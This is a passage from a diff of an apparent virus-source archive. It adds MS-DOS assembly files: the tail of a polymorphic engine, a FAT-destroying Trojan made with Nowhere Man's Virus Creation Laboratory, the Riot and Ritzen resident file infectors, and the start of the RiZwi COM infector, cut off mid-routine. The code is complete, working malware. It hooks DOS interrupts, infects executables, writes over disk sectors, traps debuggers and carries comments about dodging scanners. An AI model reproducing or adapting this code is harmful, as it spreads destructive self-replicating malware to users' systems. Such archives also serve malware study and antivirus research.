||||
ret
|
||||
calltable: db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
db onebyte - poly
|
||||
db incs - poly
|
||||
db incs - poly
|
||||
db arithmetic_8 - poly
|
||||
db arithmetic_16 - poly
|
||||
db big_class_0_40 - poly
|
||||
db onebyte - poly
|
||||
db big_class_40_80 - poly
|
||||
db big_class_80_c0 - poly
|
||||
db big_class_c0_100 - poly
|
||||
db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
db rnd_mov_8 - poly
|
||||
db rnd_mov_16 - poly
|
||||
endcalltable:
|
||||
poly:
|
||||
big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b
|
||||
db 00000111b,6,00
|
||||
big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b
|
||||
db 00011111b,00000111b,6,rndbyte-$
|
||||
big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b
|
||||
db 00011111b,00000111b,6,rndword-$
|
||||
big_class_c0_100:
|
||||
db 00010100b,00100010b,00011001b,00010110b,11000000b
|
||||
db 00011111b,00000111b,6,00
|
||||
flow_control: db 00010100b,72h,7,00010000b,0,0
|
||||
arithmetic_8: db 00010101b,00000100b,00111000b,rndbyte-$
|
||||
arithmetic_16: db 00010101b,00000101b,00111000b,rndword-$
|
||||
rnd_mov_8: db 00010101b,0b0h,7,rndbyte-$
|
||||
rnd_mov_16: db 00010110b,0b8h,07,07,04
|
||||
rndword: db 00000100b,0ffh
|
||||
rndbyte: db 00000100b,0ffh,0
|
||||
incs: db 00010110b,40h,0fh,7,4,0
|
||||
onebyte: db 00001000b,(end_onebyters-onebyters)
|
||||
onebyters: db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h
|
||||
db 91h,92h,93h,95h,96h,97h
|
||||
end_onebyters: db 0
|
||||
framework: cld
|
||||
mov si, 1234h
|
||||
ptr equ $-2
|
||||
mov cx, 1234h
|
||||
cntr equ $-2
|
||||
frameloop: xor word ptr cs:[si], 1234h
|
||||
seed equ $-2
|
||||
lodsw
|
||||
loop frameloop
|
||||
db 0e9h
|
||||
jmpback dw ?
|
||||
endframe:
|
||||
workspace db endframe-framework dup (?)
|
||||
resulting_code:
|
||||
end start
|
83
MSDOS/Virus.MSDOS.Unknown.richards.asm
Normal file
83
MSDOS/Virus.MSDOS.Unknown.richards.asm
Normal file
@ -0,0 +1,83 @@
|
||||
; RICHARDS.ASM -- R. Simmons Trojan
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 3 ; Trojan Horse
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0010h ; Second argument is 16
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
|
||||
mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "The Richard Simmons Trojan; gu"
|
||||
db "aranteed to get rid of that un"
|
||||
db "sightly FAT in no time!",0
|
||||
db "[Richard Simmons Trojan]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
186
MSDOS/Virus.MSDOS.Unknown.riot.asm
Normal file
186
MSDOS/Virus.MSDOS.Unknown.riot.asm
Normal file
@ -0,0 +1,186 @@
|
||||
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
|
||||
Xref: netcom.com alt.comp.virus:200
|
||||
Path: netcom.com!ix.netcom.com!netnews
|
||||
From: Zeppelin@ix.netcom.com (Mr. G)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Re:Riot
|
||||
Date: 12 Nov 1994 03:37:30 GMT
|
||||
Organization: Netcom
|
||||
Lines: 171
|
||||
Distribution: world
|
||||
Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com>
|
||||
References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
|
||||
NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
|
||||
|
||||
; RIOT! - Revolution In Our Time
|
||||
|
||||
model tiny
|
||||
code
|
||||
org 100h
|
||||
start:
|
||||
; push ax ; Original push "ax",
|
||||
PUSH DX ; But push dx instead,
|
||||
; and S&S FindViru can't
|
||||
; find it as NINA-256 :)
|
||||
|
||||
mov ax,9753h ; installation check
|
||||
int 21h
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax ; ds->program MCB
|
||||
mov ax,ds:[3] ; get size word
|
||||
push bx
|
||||
push es
|
||||
sub ax,40h ; reserve 40h paragraphs
|
||||
mov bx,ax
|
||||
mov ah,4Ah ; Shrink memory
|
||||
allocation
|
||||
int 21h
|
||||
|
||||
mov ah,48h ; Allocate 3Fh
|
||||
paragraphs
|
||||
mov bx,3Fh ; for the virus
|
||||
int 21h
|
||||
|
||||
mov es,ax ; copy virus to high
|
||||
xor di,di ; memory
|
||||
mov si,offset start + 10h ; start at MCB:110h
|
||||
mov cx,100h ; (same as PSP:100h)
|
||||
rep movsb
|
||||
sub ax,10h ; adjust offset as if it
|
||||
push ax ; originated at 100h
|
||||
mov ax,offset highentry
|
||||
push ax
|
||||
retf
|
||||
|
||||
highentry:
|
||||
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so
|
||||
the
|
||||
; memory isn't freed
|
||||
when the
|
||||
; program terminates
|
||||
mov ax,3521h ; get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov word ptr cs:oldint21,bx ; save it
|
||||
mov word ptr cs:oldint21+2,es
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
mov ax,2591h ; redirect int 91h to
|
||||
int 21h
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset int21
|
||||
mov al,21h ; set int 21h to virus
|
||||
vector
|
||||
int 21h
|
||||
|
||||
pop ds ; ds->original program
|
||||
PSP
|
||||
pop bx
|
||||
push ds
|
||||
pop es
|
||||
|
||||
ENDFILE dw 100h ; Size of infected COM
|
||||
file
|
||||
|
||||
return_COM:
|
||||
mov di,100h ; restore original
|
||||
mov si,endfile ; file
|
||||
add si,di ; adjust for COM
|
||||
starting
|
||||
mov cx,100h ; offset
|
||||
rep movsb
|
||||
pop ax
|
||||
push ds ; jmp back to original
|
||||
mov bp,100h ; file (PSP:100)
|
||||
push bp
|
||||
retf
|
||||
exit_install:
|
||||
pop ax ; pop CS:IP and flags in
|
||||
pop ax ; order to balance the
|
||||
pop ax ; stack and then exit
|
||||
the
|
||||
jmp short return_COM ; infected COM file
|
||||
int21:
|
||||
cmp ax,9753h ; installation check?
|
||||
je exit_install
|
||||
cmp ax,4B00h ; execute?
|
||||
jne exitint21 ; nope, quit
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
call infect
|
||||
pop ds ; restore registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exitint21:
|
||||
db 0eah ; jmp far ptr
|
||||
oldint21 dd ?
|
||||
|
||||
infect:
|
||||
mov ax,3D02h ; open file read/write
|
||||
int 91h
|
||||
jc exit_infect
|
||||
mov bx,ax
|
||||
mov cx,100h
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Fh ; Read first 100h bytes
|
||||
mov dx,offset endvirus
|
||||
int 91h
|
||||
mov ax,word ptr endvirus
|
||||
cmp ax,'MZ' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp ax,'ZM' ; exit if EXE
|
||||
je close_exit_infect
|
||||
cmp word ptr endvirus+2,9753h ; exit if already
|
||||
je close_exit_infect ; infected
|
||||
mov al,2 ; go to end of file
|
||||
call move_file_pointer
|
||||
cmp ax,0FEB0h ; exit if too large
|
||||
ja close_exit_infect
|
||||
cmp ax,1F4h ; or too small for
|
||||
jb close_exit_infect ; infection
|
||||
mov endfile,ax ; save file size
|
||||
call write
|
||||
mov al,0 ; go to start of file
|
||||
call move_file_pointer
|
||||
mov dx,100h ; write virus
|
||||
call write
|
||||
close_exit_infect:
|
||||
mov ah,3Eh ; Close file
|
||||
int 91h
|
||||
exit_infect:
|
||||
retn
|
||||
|
||||
move_file_pointer:
|
||||
push dx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ah,42h
|
||||
int 91h
|
||||
pop dx
|
||||
retn
|
||||
|
||||
write:
|
||||
mov ah,40h
|
||||
mov cx,100h
|
||||
int 91h
|
||||
retn
|
||||
|
||||
db ' RIOT!' ; Revolution In Our Time!
|
||||
endvirus:
|
||||
int 20h ; original COM file
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
495
MSDOS/Virus.MSDOS.Unknown.ritzen.asm
Normal file
495
MSDOS/Virus.MSDOS.Unknown.ritzen.asm
Normal file
@ -0,0 +1,495 @@
|
||||
;*****************************************************************************
|
||||
;* *
|
||||
;* The Ritzen Virus *
|
||||
;* *
|
||||
;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
len equ offset last - atlantic
|
||||
len_para equ len /10h
|
||||
|
||||
mem_size equ 60h
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
dummy: db 0e9h,00h,00h ; dummy file,
|
||||
; contains jump to
|
||||
; virus code.
|
||||
|
||||
atlantic: call get_ip
|
||||
sub bp,offset atlantic+3
|
||||
|
||||
rest_host: push ds
|
||||
pop ax
|
||||
mov cs:[segm+bp],ax
|
||||
cmp cs:[type_host+bp],'E' ; check if host
|
||||
je fix_exe ; is COM or EXE.
|
||||
|
||||
fix_com: lea si,cs:[com_start+bp] ; fix start of
|
||||
mov ax,es
|
||||
inc ax
|
||||
mov es,ax
|
||||
mov di,00F0h ; com host with
|
||||
mov cx,03h ; original data.
|
||||
rep movsb
|
||||
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov es,ax
|
||||
|
||||
mov ax,0100h ; IP start at 0100h.
|
||||
push cs ; store segment+IP
|
||||
push ax ; on stack.
|
||||
jmp chk_resident
|
||||
|
||||
fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,bx
|
||||
add ax,10h
|
||||
push ax
|
||||
mov bx,cs:[exe_ip+bp]
|
||||
push bx
|
||||
|
||||
chk_resident: mov dx,0aaaah
|
||||
mov ax,3000h
|
||||
int 21h
|
||||
cmp dx,0bbbbh
|
||||
je end_install
|
||||
|
||||
mem_install: push ds ; let DS points
|
||||
push ds
|
||||
pop ax ; to MCB
|
||||
dec ax ; 2 times to fool
|
||||
dec ax ; heuristic scanners
|
||||
push ax
|
||||
pop ds
|
||||
cmp byte ptr ds:[0010],5ah ; last MCB?
|
||||
jne abort_install ; if no, quit.
|
||||
|
||||
mov ax,ds:[0013] ; adjust memory
|
||||
sub ax,mem_size ; size.
|
||||
mov ds:[0013],ax ; store size in MCB.
|
||||
|
||||
pop ds ; restore original
|
||||
; DS segment.
|
||||
|
||||
sub word ptr ds:[0002],mem_size ; don't forget to
|
||||
; adjust memory
|
||||
; size stored in
|
||||
; PSP to.
|
||||
|
||||
vir_install: xchg ax,bx ; install virus
|
||||
mov ax,es
|
||||
add ax,bx ; AX = virussegment
|
||||
mov es,ax
|
||||
mov cs:[vir_seg+bp],ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
lea si,[atlantic+bp] ; copy virus to
|
||||
lea di,es:0103h ; memory
|
||||
mov cx,len
|
||||
copy: movsb
|
||||
dec cx
|
||||
jnz copy
|
||||
|
||||
push ds
|
||||
pop es
|
||||
|
||||
hook_i21h: cli
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
|
||||
mov ds,cs:[vir_seg+bp]
|
||||
mov [i21h],bx
|
||||
mov [i21h+2],es
|
||||
|
||||
; mov dx, offset ds:[mine_i21h]
|
||||
; mov ax,2521h
|
||||
; int 21h
|
||||
|
||||
mov ax,ds
|
||||
mov bx,ax
|
||||
mov dx, offset ds:[mine_i21h]
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[4*21h],dx
|
||||
mov ds:[4*21h+2],bx
|
||||
|
||||
sti
|
||||
|
||||
|
||||
abort_install: mov ax,cs:[segm+bp]
|
||||
push ax
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
|
||||
end_install: retf
|
||||
|
||||
;*************************************************************************
|
||||
;* *
|
||||
;* I N T E R U P T H A N D L E R *
|
||||
;* *
|
||||
;*************************************************************************
|
||||
|
||||
mine_i24h: mov al,03h
|
||||
iret
|
||||
|
||||
mine_i21h: pushf ; check for
|
||||
cmp ax,3000h ; virus ID
|
||||
jne new_21h
|
||||
cmp dx,0aaaah
|
||||
jne new_21h
|
||||
mov dx,0bbbbh ; return ID
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
new_21h: push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
|
||||
chk_open: xchg ax,bx
|
||||
cmp bh,3dh ; open file?
|
||||
je chk_com
|
||||
|
||||
chk_exec: cmp bx,04b00h ; execute file?
|
||||
je chk_com
|
||||
|
||||
continu: pop si ; restore registers
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
next: popf ; call original
|
||||
jmp dword ptr cs:[i21h] ; interupt
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* C H E C K C O M / E X E F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
|
||||
chk_com: mov cs:[name_seg],ds
|
||||
mov cs:[name_off],dx
|
||||
cld
|
||||
|
||||
mov cx,0ffh
|
||||
push ds
|
||||
pop es
|
||||
push dx
|
||||
pop di
|
||||
mov al,'.'
|
||||
repne scasb
|
||||
cmp word ptr es:[di],'OC'
|
||||
jne chk_exe
|
||||
cmp word ptr es:[di+2],'M'
|
||||
jne continu
|
||||
jmp infect_com
|
||||
|
||||
|
||||
|
||||
chk_exe: cmp word ptr es:[di],'XE'
|
||||
jne continu
|
||||
cmp word ptr es:[di+2],'E'
|
||||
jne continu
|
||||
jmp infect_exe
|
||||
|
||||
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* I N F E C T C O M - F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
infect_com: call init
|
||||
cmp cs:[fout],0ffh
|
||||
je close_file
|
||||
|
||||
mov cs:[type_host],'C'
|
||||
|
||||
mov ax,4200h ; go to start of file
|
||||
call mov_point
|
||||
|
||||
mov cx,03h
|
||||
mov ah,3fh
|
||||
lea dx,cs:[com_start]
|
||||
call do_int21h
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
|
||||
sub ax,03h
|
||||
mov cs:[lenght_file],ax
|
||||
|
||||
call write_jmp
|
||||
call write_vir
|
||||
|
||||
call save_date
|
||||
|
||||
close_file: mov bx,cs:[handle]
|
||||
mov ah,3eh
|
||||
call do_int21h
|
||||
|
||||
restore_int24h: mov dx,cs:[i24h]
|
||||
mov ds,cs:[i24h+2]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continu
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* I N F E C T E X E - F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
infect_exe: call init
|
||||
cmp cs:[fout],0ffh
|
||||
je close_file
|
||||
mov cs:[type_host],'E'
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
lea dx,[head_exe]
|
||||
call do_int21h
|
||||
|
||||
call inf_exe
|
||||
|
||||
call save_date
|
||||
jmp close_file
|
||||
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* R O U T I N E S *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
get_ip: push sp ; get ip from stack
|
||||
pop bx
|
||||
mov ax, word ptr cs:[bx]
|
||||
mov bp,ax
|
||||
ret
|
||||
|
||||
init: mov cs:[fout],00h
|
||||
|
||||
call int24h
|
||||
call open_file
|
||||
jc error
|
||||
call set_atributes
|
||||
call get_date
|
||||
call chk_infect
|
||||
je error
|
||||
ret
|
||||
|
||||
error: mov cs:[fout],0ffh
|
||||
ret
|
||||
|
||||
|
||||
int24h: push cs
|
||||
pop ds
|
||||
mov ax,3524h
|
||||
call do_int21h
|
||||
mov cs:[i24h],bx
|
||||
mov cs:[i24h+2],es
|
||||
mov dx, offset mine_i24h
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
mov_point: push cs
|
||||
pop ds
|
||||
mov bx,cs:[handle]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
open_file: mov ds,cs:[name_seg]
|
||||
mov dx,cs:[name_off]
|
||||
mov ax,3d02h
|
||||
call do_int21h
|
||||
|
||||
mov cs:[handle],ax
|
||||
mov bx,ax
|
||||
ret
|
||||
|
||||
set_atributes: mov ax,4200h
|
||||
mov ds,cs:[name_seg]
|
||||
mov dx,cs:[name_off]
|
||||
call do_int21h
|
||||
and cl,0feh
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
get_date: mov bx,cs:[handle]
|
||||
mov ax,5700h
|
||||
call do_int21h
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
ret
|
||||
|
||||
chk_infect: push cs
|
||||
pop ds
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
sub cx,01h
|
||||
xor dx,dx
|
||||
sub dx,02h
|
||||
mov bx,cs:[handle]
|
||||
call do_int21h
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,02h
|
||||
lea dx,cs:[file_id]
|
||||
call do_int21h
|
||||
|
||||
mov al, byte ptr cs:[file_id]
|
||||
mov ah, byte ptr cs:[file_id]+1
|
||||
cmp ax,[virus_id]
|
||||
ret
|
||||
|
||||
write_jmp: push cs
|
||||
pop ds
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,cs:[jump]
|
||||
call do_int21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,cs:[lenght_file]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_vir: push cs
|
||||
pop ds
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov ah,40h
|
||||
mov cx,len
|
||||
mov dx,103h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
save_date: mov ax,5700h
|
||||
call do_int21h
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
ret
|
||||
|
||||
inf_exe: mov ax,word ptr cs:[head_exe+14h]
|
||||
mov cs:[exe_ip],ax
|
||||
mov ax, word ptr cs:[head_exe+16h]
|
||||
mov cs:[exe_cs],ax
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov bx,10h
|
||||
div bx
|
||||
sub ax, word ptr cs:[head_exe+08h]
|
||||
mov cs:[new_cs],ax
|
||||
mov cs:[new_ip],dx
|
||||
|
||||
call write_vir
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov bx,0200h
|
||||
div bx
|
||||
cmp dx,0000h
|
||||
jne not_zero
|
||||
jmp zero
|
||||
not_zero: inc ax
|
||||
zero: mov word ptr cs:[head_exe+02h],dx
|
||||
mov word ptr cs:[head_exe+04h],ax
|
||||
mov ax,cs:[new_ip]
|
||||
mov word ptr cs:[head_exe+14h],ax
|
||||
mov ax,cs:[new_cs]
|
||||
mov word ptr cs:[head_exe+16h],ax
|
||||
mov word ptr cs:[head_exe+0Eh],ax
|
||||
add word ptr cs:[head_exe+10],len_para
|
||||
|
||||
; mov word ptr cs:[head_exe+10],1000
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
|
||||
mov ah,40h
|
||||
mov bx,cs:[handle]
|
||||
mov cx,18h
|
||||
lea dx,cs:[head_exe]
|
||||
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
do_int21h: pushf
|
||||
call dword ptr cs:[i21h]
|
||||
ret
|
||||
|
||||
;****************************************************************************
|
||||
;* *
|
||||
;* D A T A *
|
||||
;* *
|
||||
;****************************************************************************
|
||||
|
||||
type_host db 'C'
|
||||
com_start db 0cdh,20h,90h
|
||||
message db " Dedicated to Ritzen, our Minister of Education and Science."
|
||||
db " We are getting sick of your budget cuts so we hope that"
|
||||
db " you get sick of this virus.."
|
||||
db " (c) '93 by S.A.R. / TridenT ."
|
||||
exe_cs dw ?
|
||||
exe_ip dw ?
|
||||
new_cs dw ?
|
||||
new_ip dw ?
|
||||
vir_seg dw ?
|
||||
i21h dw 00h,00h
|
||||
i24h dw 00h,00h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
lenght_file dw ?
|
||||
head_exe db 18 dup (?)
|
||||
handle dw ?
|
||||
fout db ?
|
||||
file_id dw ?
|
||||
jump db 0e9h
|
||||
date dw ?
|
||||
time dw ?
|
||||
segm dw ?
|
||||
virus_id dw "AP"
|
||||
last dw "AP"
|
||||
|
||||
end dummy
|
256
MSDOS/Virus.MSDOS.Unknown.rizwi.a86
Normal file
256
MSDOS/Virus.MSDOS.Unknown.rizwi.a86
Normal file
@ -0,0 +1,256 @@
|
||||
;
|
||||
; RiZwi Virus by John Tardy / Trident V1.1
|
||||
;
|
||||
; This is a tom-resident .com infector, including command.com. it attaches
|
||||
; itself at the eof. when the generation counter is between 200 and 240, a
|
||||
; timer counter will be started. when it reached 5000 hex ticks, it will
|
||||
; display a message with black chars and a red background in the upper corner.
|
||||
; The message says an important fact of Righard Zwienenberg, who is known in
|
||||
; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
|
||||
; named "DUTCH-555". I know he did it accidentally, but you should do it. You
|
||||
; have to be on just one side, virus or antivirus. If you can't choose, then
|
||||
; stop with computing. If you choose, I hope you choose our side. It has more
|
||||
; possibilities and with your capabilities your virii could be well-known
|
||||
; (look at the VSUM for your ratings). Maybe you even choose to be part of
|
||||
; [NUkE] or Phalcon/Skism or even Trident.
|
||||
;
|
||||
; This is a bug-fix of V1.0, which kept the original interupt in the main
|
||||
; program, thus simply hanging. This one has also a little debugger trap.
|
||||
|
||||
Org 100h
|
||||
|
||||
Prg: Call On1
|
||||
On1: Pop Bp
|
||||
Sub Bp,On1
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
Cmp Bx,'BC'
|
||||
Je Tooz
|
||||
|
||||
Mov Ah,2ah
|
||||
Int 21h
|
||||
In Al,21h
|
||||
Cmp Cx,1993
|
||||
Ja MakeRes
|
||||
Cmp Dh,4
|
||||
Ja MakeRes
|
||||
Tooz: Jmp DoCom
|
||||
|
||||
MakeRes: Or Al,02h
|
||||
Push Ax
|
||||
Mov Ax,351ch
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:Old1c[0][Bp],Bx
|
||||
Mov Word Ptr Cs:Old1c[2][Bp],es
|
||||
Pop Ax
|
||||
Out 21h,Al
|
||||
CutIt: Mov Ax,3521h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:Old21[0][Bp],Bx
|
||||
Mov Word Ptr Cs:Old21[2][Bp],Es
|
||||
In Al,21h
|
||||
And Al,2
|
||||
Push Ax
|
||||
Mov Ax,Cs
|
||||
Dec Ax
|
||||
Mov Ds,Ax
|
||||
Cmp Byte Ptr Ds:[0],'Z'
|
||||
Jne DoCom
|
||||
Sub Word Ptr Ds:[3],PrgPar
|
||||
Sub Word Ptr Ds:[12h],PrgPar
|
||||
Lea Si,Prg[Bp]
|
||||
Mov Di,100h
|
||||
Pop Ax
|
||||
Cmp Al,2
|
||||
Jne CutIt
|
||||
Mov Ax,Word Ptr Ds:[12h]
|
||||
Sub Ax,10h
|
||||
Mov Es,Ax
|
||||
Mov Cx,PrgLen
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Rep Movsb
|
||||
In Al,21h
|
||||
Xor Al,2
|
||||
Mov Ds,Es
|
||||
Out 21h,Al
|
||||
Mov Ax,251ch
|
||||
Lea Dx,New1c
|
||||
Int 21h
|
||||
Mov Ax,2521h
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
DoCom: Push Cs
|
||||
Pop Ds
|
||||
Mov Es,Ds
|
||||
Mov Di,100h
|
||||
Push Di
|
||||
Lea Si,OrgPrg[Bp]
|
||||
Movsw
|
||||
Movsb
|
||||
Ret
|
||||
|
||||
OrgPrg DB 0CDh,020h
|
||||
DB '<27>'
|
||||
|
||||
Db '[TridenT]'
|
||||
|
||||
Dos: Pushf
|
||||
Call Dword Ptr Cs:[Old21]
|
||||
Ret
|
||||
|
||||
Db '{V1.1 Bugfix}'
|
||||
|
||||
Old21 DD 0
|
||||
New21: Cmp Ax,4b00h
|
||||
Je Exec
|
||||
Cmp Ah,30h
|
||||
Jne EOI
|
||||
Call Dos
|
||||
Mov Bx,'BC'
|
||||
Iret
|
||||
|
||||
EOI: Jmp Dword Ptr Cs:[Old21]
|
||||
|
||||
Exec: Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Si
|
||||
Push Di
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Bp
|
||||
Push Ds
|
||||
Push Dx
|
||||
Mov Ax,4300h
|
||||
Call Dos
|
||||
Mov FAttr,Cx
|
||||
Xor Cx,Cx
|
||||
Mov Ax,4301h
|
||||
Call Dos
|
||||
Mov Ax,3d02h
|
||||
Call Dos
|
||||
Mov FHandle,Ax
|
||||
Xchg Ax,Bx
|
||||
Mov Ax,5700h
|
||||
Call Dos
|
||||
Mov Word Ptr Cs:[FTime],Cx
|
||||
Mov Word Ptr Cs:[FDate],Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1fh
|
||||
Jne DoMore
|
||||
Close: Mov Ah,3eh
|
||||
Call Dos
|
||||
Pop Dx
|
||||
Pop Ds
|
||||
Mov Cx,FAttr
|
||||
Mov Ax,4301h
|
||||
Call Dos
|
||||
Jmp ShutDown
|
||||
DoMore: Mov Ah,3fh
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Lea Dx,OrgPrg
|
||||
Mov Cx,3
|
||||
Call Dos
|
||||
Cmp Word Ptr Cs:[OrgPrg],'MZ'
|
||||
Je Close
|
||||
Cmp Word Ptr Cs:[OrgPrg],'ZM'
|
||||
Je Close
|
||||
Mov Ax,4202h
|
||||
Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Call Dos
|
||||
Sub Ax,3
|
||||
Mov Jump,Ax
|
||||
Mov Ah,40h
|
||||
Lea Dx,Prg
|
||||
Mov Cx,PrgLen
|
||||
Call Dos
|
||||
Mov Ax,4200h
|
||||
Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Call Dos
|
||||
Mov Ah,40h
|
||||
Lea Dx,Start
|
||||
Mov Cx,3
|
||||
Call Dos
|
||||
Mov Ax,5701h
|
||||
Mov Cx,FTime
|
||||
Mov Dx,FDate
|
||||
Or Cx,1fh
|
||||
